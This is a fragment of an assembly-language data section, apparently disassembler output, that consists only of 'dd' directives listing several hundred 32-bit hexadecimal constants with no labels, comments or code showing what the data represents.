		dd 333589CDh, 0D2DF8039h, 1D488729h, 85398Dh, 0F2E47063h
		dd 516B64h, 937A2F39h, 0B823432Dh, 0EB459E00h, 61AA2599h
		dd 865E0106h, 0A0FC5974h, 178860FAh, 4590C4C4h,	0E7234C0h
		dd 39FE0093h, 69531268h, 0E601AF6Fh, 0CD74F29Dh, 0D4707FA1h
		dd 466303EFh, 0A9D587E4h, 132A56D0h, 603E5C01h,	933D25A1h
		dd 485C2462h, 1280C43Ah, 40293761h, 4F0077A2h, 64884D95h
		dd 80EE7Ah, 0A758F08Bh,	50A67B11h, 7E02A00h, 0D5FE27DEh
		dd 49CC005Ah, 0FC204EDAh, 0B800E698h, 600E4406h, 95FD65h
		dd 0DC3AA7BDh, 0F4D82338h, 0CC630500h, 0DA973E6Ch, 1F7A761Eh
		dd 0A6529B06h, 0F7C2027Dh, 24607BBEh, 0B1013878h, 21199F4Bh
		dd 0C0D755A8h, 0D1E18Dh, 9D31CB65h, 9E0EE59Bh, 0A310CA00h
		dd 7BF058C3h, 657C038Dh, 1B2A9D18h, 15E33EA8h, 6D5D3A00h
		dd 0C79F4417h, 0EB9700AAh, 6521C1ADh, 0AC00D7E9h, 4833A723h
		dd 3FA92A82h, 0D6000D3Fh, 5887C0B3h, 7C0E8E29h,	0C46C9C25h
		dd 80C04074h, 4DF1C50h,	8336EA9Bh, 1A78C05Bh, 9900B58Dh
		dd 0C1A6A88Fh, 1FD65A6Dh, 400244E3h, 0C95DE827h, 1C13C726h
		dd 2000DA62h, 933A3CADh, 0EBAA04E9h, 801FF37Dh,	9420CE28h
		dd 0C5CD0107h, 4250276Fh, 78BCBDh, 958B1CD1h, 0C6492173h
		dd 0F9B4300h, 381B7220h, 0C898A0B2h, 5CBF0532h,	0E0F3D3CEh
		dd 34004C20h, 31EF9CB5h, 14C9A586h, 0B29DE3A7h,	92F75D0Eh
		dd 587895E0h, 0FF007D59h, 0C30855CCh, 0B62EC6h,	1D9F281Ch
		dd 7AB40FE3h, 4A5C5A00h, 0F2667CBFh, 0D14E0FE0h, 4140E145h
		dd 0D70E3686h, 0CD54F300h, 5156FBDBh, 6E0B027Ah, 719E345Ch
		dd 92609059h, 0FA1F1D4Fh, 0C6704Ah, 0A66B1653h,	0AA74C414h
		dd 78C88926h, 0E8EF7200h, 24B8EBE3h, 3A0CF96Ah,	7B6D2C79h
		dd 60FC00CBh, 7458D981h, 95DEF716h, 7B28B6A0h, 174300A5h
		dd 84D5460Fh, 383B899Fh, 2A320052h, 60EA51B4h, 0C8B0003Bh
		dd 857C8A6Bh, 0BF000229h, 13278999h, 0EA0B78CEh, 0E4AA09C4h
		dd 7C599F14h, 0ED427987h, 0F1A15E10h, 7C8400B4h, 59E0673Bh
		dd 71053607h, 2B52F96Bh, 0D0DBFC00h, 0F0E3FFh, 0C990A784h
		dd 0F9D79A8h, 3D4F1500h, 0F2673532h, 2BBB00B4h,	511DC894h
		dd 6E036B13h, 351B0377h, 0E108A879h, 69AF0B20h,	2C044330h
		dd 0BAAB80EBh, 4100A77Ch, 5D590ABEh, 7E58E896h,	0E0EE58FAh
		dd 382D016h, 0DF89758Ch, 0BD7255E8h, 0C4B91100h, 0B32598EAh
		dd 42510099h, 19B85AD1h, 0F000DA2Ah, 5FCD5266h,	0C8A58h
		dd 16A99C26h, 0AD9F540Bh, 0F207AC01h, 1AD89282h, 0BD3DC8h
		dd 0D986F5C0h, 0F9FA20D6h, 29FBE600h, 8150354Ch, 0BE3B003Fh
		dd 4BB698D7h, 9100DEF6h, 39C486E3h, 40C04Dh, 446350FBh
		dd 228CD61Eh, 0A979A477h, 0EC912B01h, 74C75CB5h, 0E1EA1DCh
		dd 0A8C8086Dh, 5DFE8780h, 85E00628h, 78C5BB0Bh,	9EF049Eh
		dd 67F84C90h, 427C00D4h, 86AF600Dh, 9802CBABh, 0A861137Fh
		dd 9A944099h, 82CD4E6Ah, 0DB60E8CCh, 3100C5A2h,	0AEBBF307h
		dd 1F5A22h, 2F00130h, 0E37C8F6Fh, 80B8F5E4h, 0BCEBFC1Ch
		dd 7628F200h, 3C37E6h, 0CC49A1EFh, 7109CF9h, 20C1748h
		dd 283540EDh, 2400C03Ah, 0CF9E007Ch, 0BB40D68h,	500F573Bh
		dd 4A147E0Ch, 0E30FF45Ah, 25580038h, 0F0D98Eh, 77D261F2h
		dd 0AA4F4DBFh, 0EE4E39h, 45DFBB2Fh, 10176BDh, 84B76356h
		dd 6048B34Bh, 0C4149D22h, 1858FCCh, 0C7AD4DA9h,	0F83C9CCAh
		dd 8EDEFF00h, 0B6BD9143h, 3AE4EE00h, 0AEF586FAh, 0F36E0E97h
		dd 0F746892Ch, 5A07308Ah, 0EAEC35C6h, 4B6CF4F0h, 0B6B70048h
		dd 98E085Fh, 0EE004F60h, 316AB57Ch, 9F268Bh, 0B77796EBh
		dd 74BD246Ch, 0D1794900h, 0DB9DD96Dh, 8411C03Bh, 74A8E2FFh
		dd 0ABC88607h, 46706334h, 1324F2DCh, 0BAC0A1h, 0E644823Ch
		dd 12176C56h, 4C00D48Eh, 7AC17FB0h, 8EE24FC4h, 677E1F10h
		dd 93B8026Fh, 40A45EA5h, 8B28DBEEh, 2CE17C00h, 66FBF6EAh
		dd 326C0010h, 0C62630D7h, 60735689h, 0D9494800h, 0BA82F161h
		dd 0D1BD0066h, 0FC316485h, 520EE435h, 8ACBEBABh, 0DB00FE0Ah
		dd 91842F92h, 947C16B6h, 66D46021h, 0DC040B5Fh,	98A3D748h
		dd 0FD2694ECh, 40A7471Ch, 7D1E8C13h, 0F45B39h, 1A5F9F6Fh
		dd 270C7396h, 8041DA95h, 36182010h, 98AF430Fh, 0EBE5C00Eh
		dd 0F8DA03h, 0F2F38E46h, 62403527h, 71F41500h, 53A023Dh
		dd 0C64100C8h, 44501FAEh, 0BD986FABh, 97CEFB00h, 0B0610D52h
		dd 0A014CAAh, 1704F12Ch, 848803ACh, 8AF8FEA8h, 0D027C88h
		dd 3E99B954h, 3BA580ADh, 30D9E106h, 36680293h, 0F502AC15h
		dd 0B89B1ABAh, 1938C026h, 38CE0E63h, 16CE6A41h,	36C70320h
		dd 6F0096E5h, 0D7BFC314h, 1C9FFD09h, 805097BDh,	5B5EB3E6h
		dd 71708AB2h, 8F4A305h,	0F00224FDh, 0F90728F1h,	0A83F80C8h
		dd 0A39F93D2h, 1FFC8B00h, 39C30599h, 1A4C3BC2h,	0BAD51E80h
		dd 849A8FDBh, 24DDF200h, 148ADE51h, 0D68502A7h,	82EEF7Eh
		dd 1E95A6E0h, 871B863Eh, 805ABB5Dh, 58C0B9D4h, 2AE2F0Fh
		dd 3FDAE2E9h, 7460DBF5h, 990F4051h, 0DE7E4D61h,	0A86B57C2h
		dd 904070FAh, 3FF10003h, 0B980A755h, 0F90351CBh, 81A02D27h
		dd 0F35789AEh, 444C0DCh, 0FE6A6107h, 0AF5C8095h, 0EC7E0FF6h
		dd 0C9B37A00h, 1D2F068Bh, 0ED260727h, 901C07FBh, 8CD847Fh
		dd 93F25300h, 2EA12934h, 63390019h, 0C5B649BCh,	510010CEh
		dd 806A089Eh, 0FC67DBD8h, 75F2057Ah, 0E0133230h, 2312E138h
		dd 8F0B15Eh, 7C90D3h, 1D5A30A5h, 0D56C699Fh, 0B60319F8h
		dd 6099AC73h, 652AA134h, 0E12BDECh, 76170E11h, 0E48071C9h
		dd 0D150B823h, 884B49h,	121716B4h, 11EC3Eh, 66AFDCDFh
		dd 0ABE4EB5Ah, 40E6BB03h, 93737894h, 342FC127h,	446820h
		dd 83A8702Bh, 12BCC8CDh, 0D1E1E003h, 0E8B1CF8Fh, 74153817h
		dd 0AD980042h, 0A1F73FF5h, 0B7009225h, 0F1A8876Eh, 9DF062C4h
		dd 0EB0B7480h, 0E0C0B9C1h, 0EFA97596h, 0A1FD007Eh, 95228B29h
		dd 5558090Dh, 0ABFF1F04h, 2F77F580h, 0B6BF838h,	710B83D1h
		dd 0D064E405h, 4136E354h, 8930A307h, 0E9C196A8h, 14D05C2Dh
		dd 77590194h, 7FB18B3Fh, 0EA44E037h, 9F41CF0Eh,	0B7136074h
		dd 0F8033Dh, 665C756h, 832236Ah, 402CA900h, 0FB290CB2h
		dd 0B9490014h, 0A680DBDEh, 0E6030841h, 0A11532EEh, 76987C75h
		dd 0E71F139Eh, 570491F2h, 793D602Fh, 0D680FB00h, 95EFD944h
		dd 16317FF7h, 0AA9B4BA6h, 86B85E07h, 64FF4C70h,	9C8D0002h
		dd 0D32EAEFBh, 0DF008574h, 0A58420C9h, 9805335h, 762395B1h
		dd 0CC022C8Bh, 405729h,	0F4003246h, 0A16C5261h,	0C616A8h
		dd 15CAD347h, 0B1D90C3Fh, 4B468B07h, 80DB8CAEh,	957D096Eh
		dd 788D1D68h, 8E11C0C1h, 0DAE369DDh, 0F64AE500h, 0A4744BE2h
		dd 5DFF0144h, 0E0FBEA52h, 5A01D087h, 5F703Ch, 0E5926D4Ah
		dd 7D7C93F4h, 32C71629h, 82130098h, 5490E895h, 0C09CF600h
		dd 7489E135h, 47D52DBFh, 7D19DC00h, 0EF00F044h,	0E2464279h
		dd 0DA0195h, 0BAD4683Dh, 24D01402h, 98387E30h, 0C93C20h
		dd 0B90CE70Dh, 79580934h, 0FC80D0A2h, 0E20FB7ADh, 4D129700h
		dd 147B686Ch, 0F0BFCD6h, 0AABF5F65h, 0DA0E3D61h, 144F6B89h
		dd 4CF2A144h, 30681998h
		dd 0DF1D1A01h, 7AC7F39Bh, 49F71C00h, 60F1EE99h,	8F43114Fh
		dd 0D0B6F318h, 2C39603Eh, 33EC47h, 2840B756h, 4BDAFBD9h
		dd 5F76FD00h, 785966Ch,	0B1A2016Dh, 90D93EF5h, 0F08DE17Fh
		dd 171052BAh, 7A045BFAh, 0C04ECDA2h, 1241358Fh,	0A00023E8h
		dd 0EDE237CCh, 286D6791h, 34BA57h, 78FC3384h, 85B15289h
		dd 0D70E300h, 0C4642758h, 92C51417h, 281694FFh,	29280AA1h
		dd 0AA570740h, 0B6C79077h, 99007848h, 0EDC3C410h, 30C031A9h
		dd 61C091E7h, 5228B688h, 780C541Bh, 58DAF696h, 1AF41F83h
		dd 3ED1DD4h, 0FA3C4C39h, 0F8367D98h, 9F674E01h,	44486E3Eh
		dd 821C30h, 0CF43FE14h,	3DBBFD18h, 16382700h, 451997AAh
		dd 0AE840017h, 0C333267Bh, 3EC910Bh, 0EC436C05h, 0E0C03CEDh
		dd 39466F8h, 5123D270h,	99A8D826h, 670CB8CAh, 6A60EBF5h
		dd 9D7AF7h, 24D471BAh, 1E10B0E7h, 0F5BE2200h, 0C052D1F0h
		dd 0E583006Fh, 7DEAD81Bh, 11740671h, 0B967CF00h, 3B6B1D24h
		dd 1F101F07h, 2FD3C0E8h, 68D80F93h, 7D270505h, 40906113h
		dd 0BFD628h, 21E686E9h,	0C48E7837h, 0CEE8E0F4h,	8D1AFA01h
		dd 93692AB4h, 61769DD4h, 85E038B9h, 5E408AA0h, 0BF80B00Dh
		dd 0AEB05478h, 4EFA34h,	0CE8AF195h, 904F2FE0h, 0D76D8F00h
		dd 465CD556h, 76680B59h, 898072CBh, 71773073h, 0CDD32303h
		dd 0A27CD710h, 2CCE0C5h, 0C3270701h, 402253BEh,	0DA78AC26h
		dd 606B7025h, 1F618098h, 0C2AA0F4Bh, 0D2FC6448h, 0BD9975C0h
		dd 0DA3C950Fh, 5E514144h, 0F980D780h, 305592BBh, 0FE2E74C3h
		dd 8600223Eh, 0E0F0BEAh, 837EE8h, 7A29AC65h, 56EE9D6Ch
		dd 80394D3Dh, 0F1E745B6h, 3A66F3B9h, 0CD03BA82h, 4C591128h
		dd 0EC123BC0h, 5AC5C00h, 0E47C83EEh, 0DE0700CFh, 4BAA01A8h
		dd 8664E835h, 0BE3A8309h, 41F2610Ch, 0C3E8B10h,	0E56B0077h
		dd 74FD3DA0h, 2FAD00E0h, 39611D4Dh, 5B0C068Fh, 2948168Bh
		dd 0AF3C4454h, 840D0B44h, 10653322h, 28FFA698h,	0B122282Bh
		dd 31FB2290h, 29A78C31h, 0A51233CCh, 8B195510h,	0D65A20CCh
		dd 4129814Bh, 12180D3Ch, 401481C4h, 0BD014E82h,	5C61085h
		dd 7DC382E9h, 95072911h, 3228E128h, 3C29D422h, 8C73FD20h
		dd 5D000C6h, 6F54480Eh,	3C00C968h, 0A74B110Ah, 0C36A72h
		dd 562FD033h, 0D6A0CE9Bh, 22780F00h, 0AADE9958h, 631A3DD7h
		dd 478D7C9Eh, 0BE26CC75h, 0C9E413E0h, 2A00C88Fh, 0B465551Ah
		dd 1C7E3537h, 80ED61F7h, 0BD0C4996h, 0DB0E1343h, 0C09717B8h
		dd 9C1B11B4h, 3273E4h, 7F0CD2B5h, 0D541D9A7h, 3336811Dh
		dd 962E540h, 0F4272h, 0E3562249h, 0D6BA503Ch, 0C2A5F0Fh
		dd 0EC3F6034h, 7B6FFFF7h, 0B7D50004h, 4F6889A0h, 0E800C929h
		dd 8E7FE50Dh, 39CEBB9Eh, 0E106C356h, 3019F6E9h,	0DB009075h
		dd 0E44AA50h, 28E647h, 198A4DEBh, 0FE30BC58h, 4B1CB707h
		dd 80FE34EAh, 0C78E1305h, 8F7D05FBh, 83B4C92Ch,	83F01514h
		dd 6400A4ABh, 5B244E3Ah, 0C9A6B2h, 96F1858Bh, 923B83A8h
		dd 0CCEF4EB0h, 80A03CAh, 9544EEE4h, 64F71500h, 798F57h
		dd 55E5D332h, 0C2B95D4Ah, 69ECA900h, 9BC5932Eh,	0A60A5CBEh
		dd 28B13C00h, 3564B403h, 0F30E39B8h, 3ED19C09h,	0EB75F40h
		dd 0E5D6686h, 219EF4Eh,	944F9C0h, 5E004BBAh, 96C3D8ADh
		dd 411D412h, 9E529C03h,	251080FDh, 2A00BDDDh, 0B88D31D6h
		dd 0E08C9407h, 378F001Dh, 7D9F619Bh, 570044C0h,	65C3011Fh
		dd 7E5F10h, 0F92CD83h, 6005D590h, 0C789BE00h, 45116285h
		dd 57CE0055h, 0D1AFF4A1h, 65B0739Fh, 4054B90Bh,	801D8076h
		dd 0AA6D63h, 6E43C3BBh,	0CA9694CEh, 95A1F000h, 58DD73B2h
		dd 0C39E0078h, 6074BD06h, 0EA30F17Ch, 62F91116h, 0C4F400A2h
		dd 22E9CB88h, 5B003708h, 0DDAA7E91h, 0B838ADh, 955DC6F6h
		dd 51268028h, 24478E00h, 0D2103207h, 16D600F7h,	0B6EC218Fh
		dd 0FD017AE6h, 1E2E943Dh, 3E709602h, 93A300CCh,	64FA4672h
		dd 440081BCh, 0EA525EAFh, 7595435h, 15C86FEEh, 1DD4B0B9h
		dd 0EC00197Bh, 0FA8F7A62h, 22678Ah, 6BAABA7Eh, 30E1856Dh
		dd 516FE200h, 0DF584960h, 0EA1D05EDh, 803B010Fh, 431F16E2h
		dd 80976F3Ah, 2B13D6CDh, 0B69CD3h, 51F2A4A3h, 0B0B2D4DBh
		dd 0E1BA4C00h, 762E0E93h, 5C830043h, 3C10485Ah,	0B100C58Bh
		dd 6BDF8C96h, 0E68AF860h, 7E2600A8h, 586347D9h,	1300C8EDh
		dd 516C343Ch, 1AFE7DDh,	0B2ACF272h, 0E0E4D655h,	54795D4Dh
		dd 206D40B5h, 9D6D1E61h, 726C81C7h, 0FC4E627Ah,	5E70CA49h
		dd 98633C30h, 7FBC52h, 8FB975DFh, 0BBAE5F0Eh, 0BDE23303h
		dd 0A2AFC1A6h, 0B3617D9Eh, 0DE689C82h, 639D5440h, 0E13DCDh
		dd 3553485Bh, 8EDB0CD5h, 820EE477h, 43B642ECh, 0E0F2AB06h
		dd 0AAD5D8h, 908A641h, 56146B5Ah, 3C164E00h, 0EA226E0Ch
		dd 897B5CAEh, 2B67B400h, 7D758CE3h, 0E800A079h,	2A4DD907h
		dd 4C3D9Ch, 95B614EAh, 86454088h, 7651BA1Ch, 9DEF09h, 118ECC01h
		dd 0B49800A8h, 0FBB6C4C9h, 501C51E0h, 33C3643Dh, 800EDD0Dh
		dd 2F63F2Ah, 0EC8F5E0Ch, 8261B197h, 0E4E040AFh,	0DE125D78h
		dd 570099C6h, 4D2A73A0h, 0F510056h, 0F4D48719h,	9300D7F6h
		dd 67606F5Ch, 12A9C653h, 572302h, 0DF9EC080h, 0E103204Dh
		dd 0D1786FF9h, 47FCB04Eh, 0E91100EBh, 3807FD43h, 490040F7h
		dd 1B943F9Eh, 4D99615h,	0D752631Ch, 3E46800Dh, 0AD0B4D4Fh
		dd 25378BDh, 41D1A639h,	98F838F6h, 9794008Ah, 32011C04h
		dd 9A00E5D2h, 0FCB1F9DBh, 3F17578h, 9CFEB086h, 13C323BEh
		dd 0B1C0D7F7h, 0E03BEF96h, 721C4712h, 2F4C1B98h, 592016h
		dd 190A5B88h, 2C053550h, 18FAE67Fh, 0A579061Ch,	0CC42AC40h
		dd 629202h, 0E1117656h,	6698211Eh, 0E57A9A1Ch, 9CF6CD43h
		dd 0C670D060h, 0FF44586Ah, 4CE1F00h, 407B8F84h,	97C1501Dh
		dd 3A43D081h, 58DC7F1Bh, 34E05Ah, 9CE337ECh, 8F60DBDEh
		dd 226A4000h, 2F75B8FAh, 29030076h, 0AA12FBA8h,	7D00CB63h
		dd 0DCF0A038h, 0D99207h, 0B02DB2C6h, 91AA939Ch,	79F5AF17h
		dd 2400E3BCh, 760A5FABh, 0F079C448h, 80212F38h,	0DEC34A97h
		dd 3F5594AEh, 9200CBB3h, 86E248B7h, 0C500CE8Eh,	0A62E0D1Ch
		dd 0E39E43Ah, 895E2677h, 0EEDC2B40h, 7E024570h,	0F2F74A9Dh
		dd 772B602Fh, 47E31CA3h, 677A80F6h, 0B3D0FF90h,	5FB95A00h
		dd 7B630B0Dh, 0AA6900B1h, 1A9C2760h, 0FC0387F9h, 4EF4638h
		dd 0C7BAC864h, 2310050h, 0DD72813Ch, 0A400ADB8h, 0FC2C4791h
		dd 383CB20h, 0FAC3103Dh, 0F9C35B6Eh, 26CE9900h,	0FC1A3F7Ch
		dd 2CF77FEDh, 9C5525Ch,	7180A6C2h, 4E2D1FF9h, 0C3118A00h
		dd 0E543962Bh, 8C9C03E6h, 6764ABD1h, 0AC8B86F0h, 9EF3C703h
		dd 0E89817BDh, 22E0B9h,	0EE094755h, 927007AFh, 21056900h
		dd 0B19DC47Dh, 901AF48Dh, 877903F0h, 0E21575A8h, 8294019Dh
		dd 0D861404Bh, 0E700E54Fh, 0AF201FFFh, 0B5BEBAh, 0D8743656h
		dd 0A183DA6Bh, 0DB42A200h, 1A075BA7h, 0BADC0C33h, 25BAC8EBh
		dd 4407FA77h, 92AFD12Dh, 2A6E2650h, 0CA68385Fh,	3AB1E680h
		dd 23860367h, 596DEA0h,	13FE9A00h, 0FB9E9FB9h, 82BB14C3h
		dd 6438F881h, 44741701h, 7030D620h, 0BCE2A97Bh,	0C018A4FAh
		dd 0D990ABBEh, 1B2E00ADh, 80AA9DE0h, 51008DB6h,	0BFCF936Bh
		dd 1F70467Ah, 0CF381227h, 5E404584h, 0C3C46F13h, 0DE68A400h
		dd 4869B743h
		dd 82E700DBh, 0FBEB90BAh, 121F6315h, 0CCCE580Ch, 7AFC14FDh
		dd 0B44E7F00h, 74C8579Eh, 0E1F4004Ah, 88A68BDAh, 0FB0116EEh
		dd 0FF3B4E17h, 33202438h, 0E6D18D8h, 6F364260h,	3CE7FB00h
		dd 88D5D40Bh, 0E447877h, 0F0A5A197h, 99E98B80h,	80091987h
		dd 13F20FAh, 29AA6522h,	80B1A2DBh, 0A4626CF8h, 0B06B3FC3h
		dd 18080D8Ch, 2A1EAF30h, 9C802E6Ah, 0EA7B3ADFh,	39681C6Eh
		dd 645BC030h, 0A7416912h, 840054F8h, 1BC32D4Ah,	42A9D6h
		dd 27299E80h, 43AEC57Eh, 374C8600h, 33F8908h, 817D09CCh
		dd 6E808EBDh, 4E3BDA49h, 2643D700h, 0B42413ADh,	6A733DEFh
		dd 0E61726F6h, 0D8725120h, 780480CBh, 4D6B14CEh, 933F1780h
		dd 191624B3h, 0AD7100BCh, 57BE5699h, 1D5F037Eh,	2AB0F987h
		dd 0C604E3Dh, 0A4612172h, 56000431h, 0D5A5DFD9h, 798BD09h
		dd 5DAA146Ch, 4D25131Ah, 0C1E7EAC0h, 4FBF1E00h,	360259D5h
		dd 0AF170592h, 80E9D77Eh, 642C43DDh, 978D6000h,	117C0B6Fh
		dd 65E200CDh, 494F2EF9h, 0B1003EB8h, 57BA5CF7h,	558CEh
		dd 0ED1EEF28h, 50314235h, 0AC727E24h, 86C71800h, 4DD09Fh
		dd 0BEC40ADEh, 106E3A7Ah, 7CE77F00h, 0ED3FE39Dh, 52370085h
		dd 2CAA9153h, 470059F3h, 0F3A2873h, 0D1492Dh, 2B9B3F45h
		dd 0DC0881B6h, 44220500h, 0CB014CD2h, 7A101F1Dh, 9B2380C7h
		dd 46D35138h, 92733C00h, 1619C9E1h, 0D45B00E7h,	558B28A9h
		dd 49045E07h, 0C214FB8Eh, 11895DC0h, 9E87B18h, 0E1D9C506h
		dd 5E236480h, 430F613Bh, 973FCCh, 0B9779B8Bh, 6B311D7Eh
		dd 0D75C87EFh, 55008976h, 349482B8h, 292F0407h,	0EC004107h
		dd 0F1C5EEh, 6624B985h,	0C3169B75h, 0E3A6E800h,	95EE3850h
		dd 9AFE7Ah, 250F4456h, 0B4FB4B30h, 0B167F500h, 6AA48A13h
		dd 493B00E3h, 981EDFE8h, 20096BAh, 57FE87D2h, 7E844Ah
		dd 0C03FAFB5h, 40EA8849h, 910E00Bh, 3118100Ch, 8098008Dh
		dd 5366845h, 32008AF2h,	21EC42BDh, 5CE8BF4Fh, 0A101C5D6h
		dd 0B2407A8Dh, 38D4ECADh, 8F5748h, 7CC4AA0Fh, 905461h
		dd 820E5B8Bh, 624F0548h, 0F3D5D200h, 0F4EADCE2h, 0EB96008Ch
		dd 17669506h, 2F00AB92h, 0F19C9D3Fh, 0C8B9CDh, 62855E37h
		dd 0FB3EF606h, 72C4BF6h, 5B0E1149h, 8FDB2001h, 637EF8h
		dd 403F4653h, 446765D2h, 187D0A00h, 0CAC70FC5h,	72779Dh
		dd 1983BAC1h, 112B6B0Bh, 0FA5863FCh, 34B60F18h,	0C0BA0343h
		dd 78B5C8FBh, 31720040h, 0CBCDF9B4h, 0E1001699h, 66A85C4h
		dd 0EE0447h, 6B93C283h,	0F10D400Ch, 3D00D491h, 0B2708EE5h
		dd 94AA05B5h, 800402A4h, 0DD83AC3Ch, 0FF787900h, 766482C5h
		dd 4261001Eh, 18895F22h, 0B8034F95h, 0C2EEAA0h,	2856F045h
		dd 84D40036h, 5FC6D5F6h, 820016F5h, 2A01FAFDh, 1B8626h
		dd 43EEE1BAh, 91B760ABh, 90272B00h, 0D424534h, 5C8F00F3h
		dd 878AAFDEh, 54E4F9DCh, 83A4F607h, 88F01018h, 82EDF2h
		dd 627AB3Fh, 0CBE9A0Eh,	0A943609Dh, 867604BDh, 0C051595Eh
		dd 0ED817A78h, 1C8AC58h, 0F2573347h, 108EAFCFh,	4F405DE1h
		dd 952D124Ah, 466DEC00h, 0F31D417Dh, 68550009h,	8B4FC317h
		dd 7E070C36h, 3492707h,	71EC31B0h, 87A700EAh, 7A8E3C7Ch
		dd 0C10BC992h, 8B8FC3h,	2C4F4624h, 0FE891FDBh, 0E726C437h
		dd 3C528396h, 0C3D388B8h, 0D318700h, 3BD9894h, 0A020900Bh
		dd 0E04AA3B7h, 161C00EDh, 0C4FC62F6h, 0D13E9E99h, 0EB1D804Eh
		dd 84FA8C18h, 0CDCE3E90h, 0D4B8E300h, 361E33DBh, 0A5704B00h
		dd 8C5296E4h, 0E8903A2h, 67216032h, 22F91906h, 497B49h
		dd 0A285C0D5h, 37DB4CC5h, 0F4C358h, 0A1DDC7EDh,	2ECB7215h
		dd 1E751944h, 0E19F859Ch, 88AC8021h, 4101983Ch,	0D14DF6Bh
		dd 39F9EE26h, 0FA7F1260h, 6F4E0015h, 0F302E8DAh, 823F5988h
		dd 80A2B874h, 47CF2878h, 4CAFC3Fh, 796592F9h, 77F2808Eh
		dd 500073FBh, 8B4B0A4Dh, 332A4EAh, 94C39DEBh, 0BFF0DD11h
		dd 7E00554Ch, 0B4CD6C3Dh, 0C8FEFAh, 8FB13C9Ah, 0CC1CD410h
		dd 0F3EAAC00h, 4DE580B3h, 974100CFh, 0ADC8DB1Ah, 0C5903A1Eh
		dd 8349870Eh, 7B0580ACh, 1CBC3BF2h, 0D8A8E022h,	898E2168h
		dd 793E5F0Fh, 0D688E239h, 3E2FE3FCh, 2B036F90h,	802A70F8h
		dd 8326313Ah, 73331557h, 127AC07Ch, 281C00E1h, 0C34E5A79h
		dd 4A07C2C0h, 68DD010Bh, 972E0350h, 8ADE0972h, 9C0080ECh
		dd 0AA706A86h, 8CD1C500h, 0B08F9B0Bh, 0E7704Eh,	0C89222D4h
		dd 55293938h, 0E9CC960Eh, 0E0476E05h, 0EDB25989h, 3BD00011h
		dd 0B7548456h, 0CA3D0BEFh, 0C63F8120h, 6DA7C41Fh, 3ADAD20h
		dd 0EF53AF9h, 0F1C8C86Ah, 0E813ACB2h, 9AE8141Dh, 4AE08600h
		dd 0CC8AECA1h, 9D35DB39h, 9AC0AA63h, 0FAC019E4h, 48CB0015h
		dd 97CEBC04h, 0DF1E4184h, 0B740212Fh, 445E82FBh, 0EF7F81h
		dd 0F27286C5h, 0CA37E8D3h, 0ECAEBF03h, 0C0B93579h, 1F0143F5h
		dd 0F21EC8h, 0ED5D31C2h, 127555DBh, 6CF4F000h, 0BBBE82B9h
		dd 4372038Ah, 21F8194Ch, 284814CAh, 0FF00C323h,	8218327Bh
		dd 0F5D725h, 85773324h,	0DE84C573h, 58FC8D0Eh, 6A94781h
		dd 43114D42h, 0B4210052h, 47957D7Fh, 0AA002661h, 0B6CFD8C2h
		dd 0C57C69h, 3A56F8DAh,	77C1F06Fh, 0B946E500h, 399BDD27h
		dd 0F21A3A05h, 0BE7DBB9Dh, 26654400h, 22F8A15Eh, 0DB6C0307h
		dd 0FB308FBFh, 0ACBCC29h, 50AE7898h, 0FA340094h, 0E22DEC5h
		dd 0BC79F900h, 5D6EA1B8h, 0F860023Ch, 4AC92A12h, 0F396C182h
		dd 14A1C150h, 0D89604Fh, 4A98F90Ah, 0EC600C99h,	7D7493h
		dd 2DAC7748h, 0A0D6D867h, 7896F617h, 0A1A57900h, 568482h
		dd 0D0938E7Dh, 3DBFEFFCh, 0FFB4C106h, 0F85125D4h, 34762CA7h
		dd 804D1CF0h, 1D98F79Fh, 0D0056B4h, 8BC7056Eh, 0E428FCCBh
		dd 2C671CA6h, 42384063h, 69FF4FC6h, 0B6D05100h,	7C6D09BBh
		dd 0E308008Eh, 34417FA5h, 0B07332E6h, 4659B900h, 5C980BEBh
		dd 0F9E0A3h, 0E5C0CE67h, 0E0D00C83h, 418C9D00h,	557C0E2Dh
		dd 5140082h, 9CCE7184h,	2426A1AEh, 0E60020FDh, 0CABE733Dh
		dd 7E9D0076h, 8C9F77C9h, 3300F7C3h, 0AD383FECh,	0A35106Ah
		dd 47DDFD3Ah, 1B4F0088h, 41497981h, 1880A90Fh, 40D2C1F3h
		dd 51D4755Eh, 0E3E424CFh, 28F60018h, 398FEC06h,	0CB62DE00h
		dd 1B229D6Ch, 113D001Ch, 6710AC9h, 0B20026F8h, 0DD3AD08Ah
		dd 0EA463931h, 0D7143F63h, 8B81FE80h, 945E114Eh, 8DD9F10Eh
		dd 0A34760D5h, 0F78C86Fh, 0E7048A60h, 67084020h, 96790EECh
		dd 5E7F9E01h, 0D1534A1Ch, 0ADBBDCh, 0AAB87B11h,	0DC37A2D2h
		dd 81ED7039h, 7A7833E7h, 8CC43FC8h, 0A9F50029h,	0C7CA8966h
		dd 0F238C20Fh, 6F22808Fh, 72FD94D0h, 999D00E3h,	7689157Dh
		dd 5675C490h, 95E28000h, 7BE031ABh, 4E770025h, 761D5F4Dh
		dd 93040F22h, 0DF1C63E6h, 1B00F6E8h, 9DF12513h,	21013CDAh
		dd 2D39EDA1h, 0DCCDA053h, 1663AF4h, 59AB963Dh, 0D8895C9Ah
		dd 8C3BC136h, 0A4D580E0h, 7D25C30Eh, 0CBE6A8h, 85D9A51Fh
		dd 79DEA24Ch, 90D8BAFAh, 3B6A65B6h, 7239675Fh, 0CC5EF580h
		dd 8738833Eh, 4192F8C2h, 50E860F8h, 6F6C001Ah, 7C2D7529h
		dd 0FB00D331h, 90C3EA74h, 438547h, 495A9B04h, 20EBB436h
		dd 3155FD00h, 7A087310h, 442303DFh, 0A685AD6Fh,	0F0156ED8h
		dd 0B33E7703h, 0E02FDCA5h, 479303h, 6932D117h, 96E85C5Dh
		dd 54E04C90h, 8CB0C807h
		dd 0B5203B33h, 1F46ECD2h, 66897722h, 1EA1077Ah,	49192094h
		dd 2A0017DFh, 0C06FDDCh, 0EA25B3DAh, 6B18006Ah,	0F079BDE2h
		dd 900A1B5h, 13A3A7A6h,	75E8C2F9h, 0DB121C5Fh, 0C8667Eh
		dd 4F66B13Dh, 3C00E496h, 2C4BFF2Eh, 2EC271BFh, 3FC1091Ah
		dd 0EBDD2004h, 0E7C4EAh, 7CA7F0D3h, 400085B3h, 0B9D7093h
		dd 7F8280E3h, 0EC2A000Ah, 139E9528h, 0D0779A3h,	98B1CCAh
		dd 11809C64h, 55E48C1h,	16F9706Fh, 34CC888Ch, 0F300ACE6h
		dd 6A899840h, 0B23153h,	6810826Fh, 56CA60B3h, 0E9087A01h
		dd 0FF5048D9h, 0F0AB16E0h, 85B203ECh, 0E32E1988h, 558AB4A8h
		dd 90C1BF01h, 0DE27449h, 5AF42881h, 601898E7h, 6E073014h
